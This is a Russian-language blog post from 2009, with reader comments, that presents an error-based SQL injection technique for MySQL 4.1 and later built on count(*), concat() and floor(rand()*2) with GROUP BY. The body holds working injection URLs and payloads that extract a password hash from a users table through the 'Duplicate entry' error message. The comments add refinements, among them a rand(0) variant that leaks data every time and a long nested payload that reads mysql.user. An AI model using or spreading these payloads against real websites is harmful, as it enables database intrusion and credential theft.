Навигация > Блог / SQL инъекции / Blog article: Вывод информации в ошибке для MySQL всех версий

| Подписаться на RSS

Вывод информации в ошибке для MySQL всех версий

Декабрь 15th, 2009 Опубликовано в SQL инъекции

Некоторое время назад мной была продемонстрирована методика получения значения поля в тексте выводимой ошибки, при слепой SQL инъекции. Методика была основана на использовании функции name_const(). Всё бы ничего, но смущает то, что эта функция полностью работоспособна только в MySQL версий 5.0.12-5.0.64.

Затем Дмитрием Евтеевым была продемонстрирована схожая методика основанная на использовании функции ExtractValue(), которая доступна начиная с MySQL 5.1.5.

В итоге получаем неплохое покрытие для MySQL 5й ветки. Для 4й ветки пока схожего варианта не было.

В связи с открытием блога, достаю из недр античата ещё один обнаруженный мной метод, который работает для MySQL всех версий начиная с 4.1 .

Скрипт для теста:

<?php
 mysql_connect("localhost", "root", "");
 mysql_select_db ('test');
 
 $rz = mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error());
?>

Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:
Duplicate entry ‘5.0.45-community-nt1′ for key 1
Duplicate entry ‘5.0.45-community-nt0′ for key 1

Пример использования в скуле:

http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x

Результат: Duplicate entry ‘1bc29b36f623ba82aaf6724fd3b16718:1′ for key 1

Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):

http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1

Особенности:

1) Работает на всех ветках, проверял на 4, 5.0, 5.1 .
2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:

sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1

или так:

sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1

Может быть попробую перевести в более удобоваримую форму.

P.S.
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: смотреть

18 ответа(ов) на “Вывод информации в ошибке для MySQL всех версий”

  1. Dmitry Evteev ответил:

    :) )) надо будет поближе с этим познакомиться… отличный ресерч!


  2. rushter ответил:

    У тебя с версткой проблемы ;)


  3. rushter ответил:

    Поставь WP-Syntax


  4. Yunusov Timur ответил:

    Полчаса сижу, разбираюсь, не могу понять. Ошибка вроде не зависит от результата работы rand():
    SELECT count(*),concat( version( ) , floor( rand( ) *2 ) ) AS x
    FROM (select 1 as test union select 2) as table_1 group by x
    у меня может вывести все варианты:
    2 |version()0

    2 |version()1

    1 |version()1
    1 |version()0

    И на них ошибка не сгенерится. Но иногда она генерится) так на каких же она данных генерится и при каких условиях??)))


  5. Qwazar ответил:

    По этому поводу разрабочики MySQL пишут следующее:

    This problem happens because in a GROUP BY/ORDER BY query a RAND expression can be evaluated
    several times for the same row, every time returning a new result.


  6. Raz0r ответил:

    Ну вот спалил :)


  7. dober.man ответил:

    А с AUTO_INCREMENT пробовал? Я про вылет(error 1062) на 4 запросе. А при певром варианте:
    [ sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1 ]
    тоже на 4 ошибка???


  8. admin ответил:

    Вылетает в зависимости от рандома, поэтому может на первом запросе, может на четвёртом, а может и на десятом вылететь :)


  9. dober.man ответил:

    Точно! =)


  10. light ответил:

    жааааль (с) ‘(


  11. unsigned ответил:

    molodec, horoshaya rabota!


  12. d0znpp ответил:

    От, интересно, у меня асесс лог че-то от 10 августа 2009 года с такой штуковиной лежал.
    Спалил ;)


  13. Dmitry Evteev ответил:

    дошли руки потестировать твою раскопку… :)

    следующий запрос с вероятностью в 1 (т.е. всегда) будет возвращать в сообщении об ошибке запрашиваемые данные:
    select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;

    за один запрос можно протащить 64 байт

    проверял на 5.1.x


  14. admin ответил:

    Ох! Круто! Нечего больше сказать :)


  15. unsigned ответил:

    a ya tak uzal…poka evteev ne opublikoval… mojno optimizirovat’ kol-vo andov toje vozvrashaet 100%
    select ‘1′ and if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,(select 1 union select 2))))))))))


  16. Dmitry Evteev ответил:

    мммм….. примечание.

    Работает всегда, но нам нужно знать имя таблицы:

    select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from TEST_TABLE group by x;
    select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TEST_TABLE group by x)y);

    Если имен таблиц мы не знаем (это по всей видимости MySQL <5.0 т.к. выше 5-й ветки мы можем пользоваться системными таблицами), то при использовании (select 1 union select 2)a нельзя использовать rand(0), а нужно просто rand(). иначе не работает:(


  17. h1z ответил:

    @Qwazar
    хм.. а почему вы не используете плагины Akismet и ReCaptcha? Что не комментарий, то спам :-(
    P.S. жаль что блог обновляется не часто.


  18. Особенность использования информации об ошибке в MySQL 4.1 - D0znpp blog ответил:

    [...] Воспользовался техниками Qwazar, здоровья ему и попутного ветра. [...]


Оставить ответ

  • О блоге

    Блог предназначен для публикации всяких разных записок технического плана. Буду стараться делать упор на собственные исследования, и всё то что мне покажется интересным.
  • Мета